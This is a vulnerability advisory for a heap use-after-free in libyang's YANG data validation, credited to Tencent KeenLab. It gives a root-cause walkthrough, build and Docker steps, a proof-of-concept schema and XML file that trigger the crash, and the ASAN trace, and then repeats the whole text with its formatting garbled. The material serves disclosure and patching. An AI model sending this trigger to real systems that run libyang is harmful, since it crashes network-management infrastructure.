Use-After-Free in lyd_validate_unres via Dangling node_when Pointer
Summary
A use-after-free (CWE-416) vulnerability exists in libyang's lyd_validate_unres function (src/validation.c). When processing nested when conditions during YANG data validation, the autodelete path in lyd_validate_autodel_node_del contains an assert(0) guard (line 364) that is compiled out in release builds (-DNDEBUG). This results in a dangling pointer remaining in the node_when array after a parent node and its children are freed. On the second iteration of the outer do-while loop in lyd_validate_unres, the stale pointer is dereferenced, causing a heap-use-after-free.
- CWE: CWE-416 (Use After Free) / CWE-617 (Reachable Assertion)
- Severity: High
- Affected Component:
src/validation.c — lyd_validate_unres / lyd_validate_unres_when / lyd_validate_autodel_node_del
- External Reachability:
yanglint -d all CLI, or lyd_new_implicit_tree public API
- Affected Version: libyang 5.8.6 (latest at the time of reporting) and earlier
- Commit: 47351e5
Details
The vulnerability lies in the interaction between three functions in src/validation.c:
1. lyd_validate_unres outer do-while loop (lines 491-497)
The function uses a do-while loop that iterates as long as node_when->count decreases between iterations. This design assumes that each iteration only removes processed nodes from node_when and that no stale pointers remain.
2. lyd_validate_unres_when reverse iteration (lines 417-454)
The function iterates over node_when in reverse order (from count-1 down to 0). When a node's when condition evaluates to false and the node has the LYD_WHEN_TRUE flag set, it triggers autodelete via lyd_validate_autodel_node_del. After autodelete, ly_set_rm_index_ordered removes only the parent node from node_when, decrementing count by 1. However, any child nodes that were previously in node_when (having returned LY_EINCOMPLETE) are not removed — their pointers are now dangling.
3. lyd_validate_autodel_node_del — the critical bug (lines 360-365)
if (node_when && node_when->count) {
for (i = 0; i < node_when->count; ++i) {
if (node_when->dnodes[i] == iter) {
assert(0); // ← compiled out in release builds (NDEBUG)
//ly_set_rm_index(node_when, i); // ← commented out
break;
}
}
}
When a node being auto-deleted is found in node_when (i.e., a child node returned LY_EINCOMPLETE), the code:
- Hits
assert(0) in debug builds → crash (denial of service)
- In release builds (
-DNDEBUG), assert(0) is a no-op, and ly_set_rm_index is commented out → the child node's pointer remains in node_when
4. The free-after-assert gap (line 384)
After the assert/no-op, lyd_free_tree(del) frees the parent node and all its children, but the child's pointer is still in node_when->dnodes[].
5. Second iteration UAF
Back in lyd_validate_unres, prev_count > node_when->count is true (because the parent was removed), so the do-while loop enters a second iteration. lyd_validate_unres_when then reads node_when->dnodes[i] (line 420) → accesses node->schema (line 423) → heap-use-after-free.
Trigger Path (Verified)
- YANG schema defines nested containers with
when conditions, where a child node's when references a sibling container that is also in node_when.
lyd_validate_tree (line 2002-2005) performs DFS and adds both parent and child nodes to node_when (parent at lower index, child at higher index).
lyd_new_implicit_tree creates implicit default nodes with the LYD_WHEN_TRUE flag set for non-presence containers.
lyd_validate_unres_when iterates in reverse:
- Child node (higher index) is processed first. Its
when XPath references a sibling node that is still unresolved → returns LY_EINCOMPLETE. Child stays in node_when.
- Parent node (lower index) is processed next. Its
when evaluates to false. Since LYD_WHEN_TRUE is set → autodelete.
lyd_validate_autodel_node_del:
- Finds the child still in
node_when during DFS
assert(0) no-ops in release; ly_set_rm_index is commented out
lyd_free_tree(parent) frees parent and child
- Child's pointer remains as a dangling entry in
node_when
ly_set_rm_index_ordered removes only the parent from node_when.
- Outer
do-while loop enters second iteration → accesses freed child pointer → UAF.
PoC
Environment
- libyang built from latest source (https://github.com/CESNET/libyang.git)
- Built with:
-DCMAKE_BUILD_TYPE=Release -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1"
- ASAN options:
detect_leaks=0:abort_on_error=1:halt_on_error=0
Option A: Build from source
git clone https://github.com/CESNET/libyang.git
cd libyang
mkdir build && cd build
cmake .. \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \
-DENABLE_TESTS=OFF
make -j$(nproc) && make install && ldconfig
Option B: Use the provided Dockerfile
Save as Dockerfile.asan-release:
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y --no-install-recommends \
build-essential cmake git ca-certificates pkg-config libpcre2-dev gdb vim xxd \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /workspace
# Release build (-DNDEBUG) to bypass assert(0) and expose the UAF to ASAN
RUN git clone --depth=1 https://github.com/CESNET/libyang.git libyang-src
RUN mkdir -p /workspace/libyang-build && \
cd /workspace/libyang-build && \
cmake /workspace/libyang-src \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \
-DENABLE_TESTS=OFF \
-DENABLE_VALGRIND_TESTS=OFF \
-DENABLE_BUILD_TESTS=OFF && \
make -j$(nproc) && make install && ldconfig
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=0
CMD ["/bin/bash"]
Build:
docker build -t libyang-asan-release -f Dockerfile.asan-release .
PoC Files
poc.yang:
module poc {
yang-version 1.1;
namespace "urn:poc";
prefix p;
container config {
presence "config presence";
leaf enabled {
type boolean;
default true;
}
/* Explicit container with when - goes into node_when without LYD_WHEN_TRUE */
container ref-container {
when "../enabled = 'true'";
leaf ref-val {
type string;
}
}
/* NP container with when - created as implicit default with LYD_WHEN_TRUE */
container data {
when "../enabled = 'true'";
leaf name {
type string;
default "default-name";
}
/* Child with when that references ref-container (which is in node_when, no LYD_WHEN_TRUE) */
container child {
when "../../ref-container/ref-val = 'target'";
leaf value {
type string;
default "default-value";
}
}
}
}
}
poc.xml:
<config xmlns="urn:poc">
<enabled>false</enabled>
<ref-container>
<ref-val>target</ref-val>
</ref-container>
</config>
One-Click Reproduction
Save the two files (poc.yang and poc.xml) in a directory, then run:
# Direct execution (if libyang is installed with ASAN support)
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=0 \
LD_LIBRARY_PATH=/path/to/libyang-build \
yanglint -p /path/to/poc/dir -d all /path/to/poc/dir/poc.yang /path/to/poc/dir/poc.xml
# Or with the provided Docker image
docker run --rm \
-v /path/to/poc/dir:/poc:ro \
libyang-asan-release \
bash -c 'ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=0 \
LD_LIBRARY_PATH=/workspace/libyang-build \
/workspace/libyang-build/yanglint -p /poc -d all /poc/poc.yang /poc/poc.xml'
Key flags:
-p /poc — add search path for YANG modules
-d all — enable implicit default node creation (required to trigger lyd_new_implicit_tree)
ASAN Crash Output
=================================================================
==7==ERROR: AddressSanitizer: heap-use-after-free on address 0x50700000b4d8 at pc 0x7ffff74fc21b bp 0x7fffffffd940 sp 0x7fffffffd930
READ of size 8 at 0x50700000b4d8 thread T0
#0 0x7ffff74fc21a in lyd_validate_unres_when /workspace/libyang-src/src/validation.c:480
#1 0x7ffff74fc21a in lyd_validate_unres /workspace/libyang-src/src/validation.c:561
#2 0x7ffff7503f29 in lyd_validate /workspace/libyang-src/src/validation.c:2202
#3 0x7ffff7284199 in lyd_parse /workspace/libyang-src/src/tree_data.c:164
#4 0x7ffff7284199 in lyd_parse_data /workspace/libyang-src/src/tree_data.c:206
#5 0x55555556afde in parse_input_by_type /workspace/libyang-src/tools/lint/cmd_data.c:505
#6 0x55555556afde in cmd_data_process /workspace/libyang-src/tools/lint/cmd_data.c:573
#7 0x555555566630 in main_ni /workspace/libyang-src/tools/lint/main_ni.c:825
#8 0x555555563dda in main /workspace/libyang-src/tools/lint/main.c:51
#9 0x7ffff6e60d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
#10 0x7ffff6e60e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
#11 0x555555564154 in _start (/workspace/libyang-build/yanglint+0x10154)
0x50700000b4d8 is located 8 bytes inside of 72-byte region [0x50700000b4d0,0x50700000b518)
freed by thread T0 here:
#0 0x7ffff7681537 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:127
#1 0x7ffff72a2090 in lyd_free_subtree /workspace/libyang-src/src/tree_data_free.c:240
#2 0x7ffff74faa9d in lyd_validate_autodel_node_del /workspace/libyang-src/src/validation.c:388
#3 0x7ffff74fb9b0 in lyd_validate_unres_when /workspace/libyang-src/src/validation.c:487
#4 0x7ffff74fb9b0 in lyd_validate_unres /workspace/libyang-src/src/validation.c:561
#5 0x7ffff7503f29 in lyd_validate /workspace/libyang-src/src/validation.c:2202
#6 0x7ffff7284199 in lyd_parse /workspace/libyang-src/src/tree_data.c:164
#7 0x7ffff7284199 in lyd_parse_data /workspace/libyang-src/src/tree_data.c:206
#8 0x55555556afde in parse_input_by_type /workspace/libyang-src/tools/lint/cmd_data.c:505
#9 0x55555556afde in cmd_data_process /workspace/libyang-src/tools/lint/cmd_data.c:573
#10 0x555555566630 in main_ni /workspace/libyang-src/tools/lint/main_ni.c:825
#11 0x555555563dda in main /workspace/libyang-src/tools/lint/main.c:51
#12 0x7ffff6e60d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
previously allocated by thread T0 here:
#0 0x7ffff7681a57 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154
#1 0x7ffff72c01b6 in lyd_create_inner /workspace/libyang-src/src/tree_data_new.c:87
#2 0x7ffff72c01b6 in lyd_new_implicit /workspace/libyang-src/src/tree_data_new.c:1951
#3 0x7ffff72c0d76 in lyd_new_implicit_r /workspace/libyang-src/src/tree_data_new.c:2044
#4 0x7ffff72c0e82 in lyd_new_implicit_r /workspace/libyang-src/src/tree_data_new.c:2050
#5 0x7ffff73b6bf4 in lyd_parser_validate_new_implicit /workspace/libyang-src/src/parser_common.c:367
#6 0x7ffff72c82cf in lydxml_subtree_inner /workspace/libyang-src/src/parser_xml.c:886
#7 0x7ffff72c82cf in lydxml_subtree_r /workspace/libyang-src/src/parser_xml.c:1099
#8 0x7ffff72c9a27 in lyd_parse_xml /workspace/libyang-src/src/parser_xml.c:1254
#9 0x7ffff7283f32 in lyd_parse /workspace/libyang-src/src/tree_data.c:126
#10 0x7ffff7283f32 in lyd_parse_data /workspace/libyang-src/src/tree_data.c:206
#11 0x55555556afde in parse_input_by_type /workspace/libyang-src/tools/lint/cmd_data.c:505
#12 0x55555556afde in cmd_data_process /workspace/libyang-src/tools/lint/cmd_data.c:573
#13 0x555555566630 in main_ni /workspace/libyang-src/tools/lint/main_ni.c:825
#14 0x555555563dda in main /workspace/libyang-src/tools/lint/main.c:51
#15 0x7ffff6e60d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
SUMMARY: AddressSanitizer: heap-use-after-free /workspace/libyang-src/src/validation.c:480 in lyd_validate_unres_when
Shadow bytes around the buggy address:
0x0a0e7fff9640: 00 00 fa fa fa fa 00 00 00 00 00 00 00 00 00 00
0x0a0e7fff9650: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
0x0a0e7fff9660: fa fa 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
0x0a0e7fff9670: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
0x0a0e7fff9680: 00 00 00 00 00 00 00 fa fa fa fa fa fd fd fd fd
=>0x0a0e7fff9690: fd fd fd fd fd fa fa fa fa fa fd[fd]fd fd fd fd
0x0a0e7fff96a0: fd fd fd fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0a0e7fff96b0: 00 fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa
0x0a0e7fff96c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0a0e7fff96d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0a0e7fff96e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==7==ABORTING
Debug Build Verification
In debug builds (without -DNDEBUG), the assert(0) at validation.c:364 is triggered before the UAF occurs:
yanglint: /workspace/src/validation.c:364: lyd_validate_autodel_node_del: Assertion `0 && "Please contact libyang support with the use-case that triggered this assert."' failed.
Aborted (core dumped)
This confirms the code path is reachable and the assert guard is the only protection — which is stripped in release builds.
Impact
- Vulnerability Type: CWE-416 (Use After Free) with potential for CWE-617 (Reachable Assertion leading to denial of service in debug builds).
- Severity: High — heap-use-after-free can lead to memory corruption, information disclosure, or in certain circumstances, arbitrary code execution.
- Affected Builds: All release builds (compiled with
-DNDEBUG or equivalent). Debug builds crash with an assertion failure instead (DoS).
- Attack Vector: Any application or service that uses libyang to parse and validate YANG data with nested
when conditions, either via the yanglint CLI tool or programmatically through lyd_new_implicit_tree / lyd_parse_data / lyd_validate APIs.
- Real-World Impact: libyang is a core YANG data modeling library used in network management systems (e.g., sysrepo, Netopeer2, FRRouting). A UAF vulnerability could be exploited by sending crafted YANG module and data combinations to systems that validate YANG data, potentially leading to crashes or code execution in network infrastructure components.
Credit
SecBuddyF - Tencent KeenLab (@KeenSecurityLab)
Use-After-Free in lyd_validate_unres via Dangling node_when Pointer
Summary
A use-after-free (CWE-416) vulnerability exists in libyang's
lyd_validate_unresfunction (src/validation.c). When processing nestedwhenconditions during YANG data validation, the autodelete path inlyd_validate_autodel_node_delcontains anassert(0)guard (line 364) that is compiled out in release builds (-DNDEBUG). This results in a dangling pointer remaining in thenode_whenarray after a parent node and its children are freed. On the second iteration of the outerdo-whileloop inlyd_validate_unres, the stale pointer is dereferenced, causing a heap-use-after-free.src/validation.c—lyd_validate_unres/lyd_validate_unres_when/lyd_validate_autodel_node_delyanglint -d allCLI, orlyd_new_implicit_treepublic APIDetails
The vulnerability lies in the interaction between three functions in
src/validation.c:1.
lyd_validate_unresouter do-while loop (lines 491-497)The function uses a
do-whileloop that iterates as long asnode_when->countdecreases between iterations. This design assumes that each iteration only removes processed nodes fromnode_whenand that no stale pointers remain.2.
lyd_validate_unres_whenreverse iteration (lines 417-454)The function iterates over
node_whenin reverse order (fromcount-1down to 0). When a node'swhencondition evaluates tofalseand the node has theLYD_WHEN_TRUEflag set, it triggers autodelete vialyd_validate_autodel_node_del. After autodelete,ly_set_rm_index_orderedremoves only the parent node fromnode_when, decrementingcountby 1. However, any child nodes that were previously innode_when(having returnedLY_EINCOMPLETE) are not removed — their pointers are now dangling.3.
lyd_validate_autodel_node_del— the critical bug (lines 360-365)When a node being auto-deleted is found in
node_when(i.e., a child node returnedLY_EINCOMPLETE), the code:assert(0)in debug builds → crash (denial of service)-DNDEBUG),assert(0)is a no-op, andly_set_rm_indexis commented out → the child node's pointer remains innode_when4. The free-after-assert gap (line 384)
After the assert/no-op,
lyd_free_tree(del)frees the parent node and all its children, but the child's pointer is still innode_when->dnodes[].5. Second iteration UAF
Back in
lyd_validate_unres,prev_count > node_when->countis true (because the parent was removed), so thedo-whileloop enters a second iteration.lyd_validate_unres_whenthen readsnode_when->dnodes[i](line 420) → accessesnode->schema(line 423) → heap-use-after-free.Trigger Path (Verified)
whenconditions, where a child node'swhenreferences a sibling container that is also innode_when.lyd_validate_tree(line 2002-2005) performs DFS and adds both parent and child nodes tonode_when(parent at lower index, child at higher index).lyd_new_implicit_treecreates implicit default nodes with theLYD_WHEN_TRUEflag set for non-presence containers.lyd_validate_unres_wheniterates in reverse:whenXPath references a sibling node that is still unresolved → returnsLY_EINCOMPLETE. Child stays innode_when.whenevaluates tofalse. SinceLYD_WHEN_TRUEis set → autodelete.lyd_validate_autodel_node_del:node_whenduring DFSassert(0)no-ops in release;ly_set_rm_indexis commented outlyd_free_tree(parent)frees parent and childnode_whenly_set_rm_index_orderedremoves only the parent fromnode_when.do-whileloop enters second iteration → accesses freed child pointer → UAF.PoC
Environment
-DCMAKE_BUILD_TYPE=Release -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1"detect_leaks=0:abort_on_error=1:halt_on_error=0Option A: Build from source
Option B: Use the provided Dockerfile
Save as
Dockerfile.asan-release:Build:
docker build -t libyang-asan-release -f Dockerfile.asan-release .PoC Files
poc.yang:
poc.xml:
One-Click Reproduction
Save the two files (
poc.yangandpoc.xml) in a directory, then run:Key flags:
-p /poc— add search path for YANG modules-d all— enable implicit default node creation (required to triggerlyd_new_implicit_tree)ASAN Crash Output
Debug Build Verification
In debug builds (without
-DNDEBUG), theassert(0)atvalidation.c:364is triggered before the UAF occurs:This confirms the code path is reachable and the assert guard is the only protection — which is stripped in release builds.
Impact
-DNDEBUGor equivalent). Debug builds crash with an assertion failure instead (DoS).whenconditions, either via theyanglintCLI tool or programmatically throughlyd_new_implicit_tree/lyd_parse_data/lyd_validateAPIs.Credit
SecBuddyF - Tencent KeenLab (@KeenSecurityLab)